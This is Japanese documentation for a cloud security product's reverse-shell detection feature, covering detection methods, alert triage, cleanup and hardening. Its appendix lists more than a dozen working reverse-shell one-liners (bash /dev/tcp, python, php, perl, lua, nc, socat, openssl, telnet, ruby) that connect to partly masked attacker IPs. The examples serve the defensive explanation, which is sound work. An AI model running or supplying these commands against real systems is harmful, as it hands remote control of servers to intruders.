Security Center のリバースシェル検知は、多次元分析を使用して、多様でステルス性の高い攻撃に対する従来の検知方法の限界を克服します。この機能は、さまざまな種類のリバースシェル攻撃を特定してアラートを生成し、サーバー侵入イベントを発見して対応することで、クラウド資産を保護するのに役立ちます。
リバースシェルとは
リバースシェルは、一般的なサーバー侵入テクニックです。攻撃者は、脆弱性の悪用や弱いパスワードなどの方法でサーバーへの初期アクセスを取得した後、通常、リバースシェルを展開します。これにより、侵害されたサーバー (クライアント) から攻撃者のコントロールサーバーにアクティブに接続する隠密な通信トンネルが確立されます。
この攻撃手法には、主に 2 つの脅威があります。
ファイアウォールの制限をバイパスする: 接続はサーバー内部から発信されるため、インバウンドトラフィックのみを制限するファイアウォールをバイパスでき、攻撃者はリモートでコマンドを実行できます。
永続的なコントロールを確立する: 攻撃者は対話型シェルを取得して、サーバーを完全に制御できます。これにより、データを窃取したり、ランサムウェアをインストールしたり、ラテラルムーブメントを実行したり、サーバーを他のシステムを攻撃するための踏み台として使用したりできます。
仕組み
コアアプローチ
複雑で進化し続けるリバースシェル攻撃に対抗するため、Security Center は、単一の特徴マッチングに依存する従来の方法を超えています。次のコア原則に基づいて、次世代の多層検知システムを構築します。
従来の署名を超える: 正規表現などの不安定な静的特徴ではなく、攻撃の基本的な動作に焦点を当てます。
多次元データ収集: ホストエージェントを使用して、プロセス、ファイル、ネットワーク、カーネルコール情報など、包括的なリアルタイムデータを収集します。
クラウドベースのインテリジェント分析: クラウドベースのビッグデータプラットフォームを使用して、大規模なデータセットに対する相関分析と行動モデリングを行い、クロス検証を可能にします。
クラウドとエンドポイントの検知を組み合わせたこの多層防御システムは、既知および未知の攻撃を正確かつ効率的に検知します。これにより、全体的な検知率と精度が向上します。
主要な検知技術
Security Center の検知システムは、複数の主要な技術で構成されており、さまざまなディメンションから攻撃行動を再構築してクロス検証を可能にします。
ファイル記述子 (FD) 分析
検知原理と方法: プロセスのファイル記述子をリアルタイムで監視します。シェルプロセスの標準入力、出力、またはエラーがネットワークソケットにリダイレクトされた場合、直ちにアラートがトリガーされます。
主な検知対象:
bash -i >& /dev/tcp/...のようなコマンドで直接起動され、I/O リダイレクトを使用するリバースシェル。
異常なコマンドシーケンス分析
検知原理と方法: ビッグデータプラットフォームを使用して、サーバーの正常なコマンドシーケンスのベースラインを確立します。既知の攻撃パターン (偵察や権限昇格など) に一致する異常なシーケンスが検知されると、高リスクとしてフラグが立てられます。
主な検知対象: Python や Perl などのスクリプト言語を介して実装され、明らかなシェルプロセスの特徴を持たないリバースシェル、およびその後のラテラルムーブメントの動作。
異常なプロセス起動チェーン分析
検知原理と方法: プロセスの親子関係、起動パラメーター、ユーザーコンテキスト、および履歴の動作を包括的に分析して、Web サービスなどの異常な親プロセスによって起動された非対話型シェルを特定します。
主な検知対象: Web 脆弱性によってトリガーされ、正常なサービストラフィック内に隠されているリバースシェル。
悪意のあるファイルの詳細分析
検知原理と方法:
スクリプトサンドボックス: 永続化されたスクリプト (Bash、Python、JAR) に対して動的トレースと静的逆コンパイルを実行し、難読化されたコード内の悪意のあるロジックを特定します。
バイナリサンドボックス: コンパイル済みプログラム (C/C++、Go、Meterpreter) のインポートされた関数、コード構造、および動的な動作 (ネットワーク接続など) を分析します。
主な検知対象: 高度に難読化または暗号化されたスクリプトトロイの木馬。C/C++ または Go で記述された、または Meterpreter によって生成されたコンパイル済みのリバースシェルプログラム。
敵対的なネットワークトラフィックの特徴の検知
検知原理と方法: ネットワークトラフィックを分析して対話型シェルの通信特徴を検出し、システムシェルの置換やコマンドエンコーディングなどの一般的な回避行動を検知します。
主な検知対象: 既知の攻撃パターンと回避技術のカバー率を強化するための補足的な方法として機能します。
手順
リバースシェル保護の完全なワークフローには、検知の有効化、アラートの分析、インシデント対応の実行が含まれます。
リバースシェル検知の有効化
Security Center の有料版にサブスクライブしており、エージェントが対象サーバーにインストールされオンラインになっている場合、リバースシェル検知はデフォルトで有効になっています。手動での構成は不要です。
アラートの分析と解釈
Security Center が不審なリバースシェルアクティビティを検知した場合、 または ページに移動します。リバースシェルアラートを見つけて、アラート詳細ページに移動します。アラートを分析する際は、次の情報に注目してください。
脅威レベル: 通常は [高] であり、アラートが即時の注意と対処を必要とすることを示します。
プロセス情報: アラートをトリガーしたプロセスパスとコマンドラインパラメーターを表示します。これは、動作が悪意のあるものかどうかを判断するために重要です。たとえば、
www-dataユーザーによって開始された/bin/bash -iプロセスは、典型的な高リスクの指標です。親プロセス情報: 不審なプロセスのソースを提供し、攻撃パスの追跡に役立ちます。たとえば、親プロセスが Web サーバー (Apache や Nginx など) の場合、攻撃は Web 脆弱性に起因する可能性が高いです。
アウトバウンド接続情報: 存在する場合、このセクションには不審なプロセスが接続したリモート IP アドレスとポートが表示されます。この IP アドレスは攻撃者のコントロールサーバーです。
アラートの対処
アラート詳細ページでは、ビジネスニーズとリスク評価に基づいて次の操作を実行できます。詳細については、「セキュリティアラートの分析と対処」をご参照ください。
ウイルスの検出と除去: ウイルスプロセスを直ちに停止し、ウイルスファイルを隔離エリアに移動します。隔離されたファイルは実行、アクセス、または拡散できません。これは最も包括的なワンクリックソリューションです。
Quarantine: 不審なファイルのみを隔離エリアに移動し、実行を防ぎます。この操作は、実行中のプロセスを直ちに停止するものではありません。
End Process: アラートに関連する悪意のあるプロセスを直ちに停止して、攻撃を迅速に遮断します。
Add to Whitelist: 調査の結果、アラートが通常の運用およびメンテナンス (O&M) またはビジネススクリプトによってトリガーされた誤検知であることが確認された場合は、アラートをホワイトリストに追加できます。
説明ファイルパス、MD5 ハッシュ、またはその他の基準に基づいてホワイトリストルールを設定し、同様のイベントが再度アラートを生成するのを防ぐことができます。
セキュリティ強化
ネットワーク接続のブロック
アラート詳細で攻撃者の IP アドレスを見つけます。
セキュリティグループポリシーを構成して、インバウンドとアウトバウンドの両方向でこの IP アドレスからのすべてのアクセスを拒否します。これにより、攻撃者の接続が完全に遮断されます。
永続的なバックドアの削除
攻撃者は、コントロールを維持するために永続化メカニズムを設定することがよくあります。サーバーにログオンして、次の項目を調査します。
スケジュールされたタスクの確認:
crontab -l -u <user>を実行します。ここで、<user>は、rootやwww-dataなどの不審なプロセスを実行しているユーザーです。不審なスケジュールされたタスクがないか確認します。見つかった場合は、crontab -eを使用してファイルを編集し、悪意のあるエントリを削除します。悪意のあるファイルの削除: アラートで提供されたファイルパスを使用して、サーバー上の悪意のあるスクリプトまたはバイナリファイルを見つけて削除します。
完全スキャンを実行してサーバーを強化する
Security Center コンソールで、 ページに移動します。サーバーで完全なファイルスキャンとバックドア検知を実行し、他に隠れた悪意のあるファイルが存在しないことを確認します。
サーバーのセキュリティ脆弱性を確認して修正し、攻撃の侵入経路を排除します。
コストとリスクの説明
コスト構造: リバースシェル検知機能は Security Center の有料版に含まれており、追加料金は発生しません。サービスログの詳細な分析を実行するには、Log Management または Log Analysis の付加価値機能を購入する必要があります。
主なリスク:
インシデント対応中に、プロセスの停止や構成の変更などの操作が通常のビジネス運用に影響を与える可能性があります。変更を加える前に、バックアップとしてサーバーのスナップショットを作成することを強くお勧めします。
Security Center は多次元検知を提供しますが、完璧な検知ソリューションはありません。未知の技術を使用した高度にカスタマイズされたゼロデイ攻撃は、依然として検知をバイパスする可能性があります。したがって、脆弱性の迅速なパッチ適用、最小権限の原則の適用、厳格なネットワークポリシーの施行など、多層防御も同様に重要です。
付録: リバースシェルの分類と例
リバースシェルは、ネットワーク通信、コマンド実行、I/O リダイレクトという 3 つのコア要素を組み合わせたものです。これらの 3 つの要素が一体となって、リモートで制御可能なデータトンネルを作成します。Security Center は、リバースシェルを次の 3 つのタイプに分類し、ターゲットを絞った階層的な検知戦略を使用します。
タイプ 1: ソケットへの直接 I/O リダイレクト
コア原理: このタイプは、
bash -iの標準入力、出力、およびエラーストリームをネットワーク通信用の/dev/tcp Socketにリダイレクトします。検知アプローチ: ファイル記述子 (FD) 分析。これは、プロセスの FD テーブルを監視して、シェルプロセスの標準 I/O がネットワークソケットにリダイレクトされているかどうかを検知します。
攻撃例:
例 1:
bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1例 2:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",6060));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'例 3:
php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'例 4:
perl -e 'use Socket;$i="10.10.XX.XX";$p=6060;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'例 5:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"
タイプ 2: パイプや疑似ターミナルなどの中間媒体を介した I/O リダイレクト
コア原理: このタイプは、中間媒体としてパイプまたは疑似ターミナル (PTY) を使用します。シェルの I/O はまず中間媒体にリダイレクトされ、その後、別のプロセスが中間媒体をネットワークソケットに接続します。一部のバリエーションでは、データが複数層の中間媒体を通過し、最終的に完全なリモートコントロールチャネルを形成することがあります。
検知アプローチ: FD リンクトレースとプロセス相関分析。データストリームが流れる完全な FD リンクをトレースして、パイプや PTY を介してネットワークソケットに接続する異常なプロセスチェーンを特定します。
攻撃例:
例 1:
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f例 2:
nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060例 3:
mknod backpipe p; nc 10.10.XX.XX 6060 0backpipe 2>backpipe例 4:
bash -c 'exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done'例 5:
telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050例 6: 中間媒体として疑似ターミナルを使用する。このタイプは検知がより困難であり、包括的なコンテキスト分析が必要です。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
タイプ 3: プログラミング言語を使用したコマンド実行と I/O リダイレクトの実装
コア原理: ロジックは、シェルのリダイレクト機能を直接使用する代わりに、Python や Ruby などのスクリプト言語内で実装されます。コードはネットワークコマンドを受信し、
subprocessやexecなどの関数を呼び出して実行し、その結果を返送します。検知アプローチ: 行動シーケンス分析と異常な起動モデル。攻撃ロジックはコードにラップされているため、より高度な検知が必要です。脅威は、異常なコマンドシーケンス (シェル取得後の偵察行動など) を分析するか、Web サービスなどの異常な親プロセスによって開始されたシェルを特定することによって検知されます。
攻撃例:
例 1:
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"例 2:
lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'例 3:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
よくある質問
従来の検知方法がしばしば失敗するのはなぜですか?
一般的な検知方法は、正規表現を使用してリバースシェルコマンドから特徴を抽出し、コマンドログやトラフィックログと照合します。これらには主に 3 つの制限があります。
不完全なログ収集: パイプやリダイレクト演算子が使用されると、従来のログ収集方法では完全な攻撃コマンドを記録できない場合があります。
ルールが簡単にバイパスされる: 攻撃者は、エンコーディング、難読化、またはその他の技術を使用して、固定文字列や正規表現に基づくルールをバイパスできます。
暗号化されたトラフィック: 攻撃トラフィックが暗号化されている場合、ネットワークの特徴に基づく検知方法は効果がなくなります。
Security Center のリバースシェル検知は 100% の精度を達成できますか?
いいえ、できません。100% の精度を保証できるリバースシェル検知ソリューションはありません。攻撃と防御の技術は絶えず進化しています。タイプ 3 で見られるように、プログラミング言語で実装された高度なリバースシェルは、その動作が通常のビジネススクリプトに似ているため、特に検知が困難です。Security Center は、多次元検知と異常行動モデルを通じて検知率と精度を向上させますが、セキュリティは継続的な敵対的プロセスであり続けます。
疑似ターミナル (PTY) を使用するリバースシェルはなぜ検知が難しいのですか?
シェルプロセスの観点から見ると、その入力と出力は疑似ターミナルデバイスにリダイレクトされます。この動作は、通常の SSH ログイン、
screenセッション、またはコンテナー環境のターミナルに似ています。これにより、悪意のある動作と通常の O&M 操作を区別することが困難になります。Security Center は、プロセスやネットワークなど、複数のディメンションからのログを組み合わせて包括的な分析を行い、偽陰性と誤検知のバランスを取ります。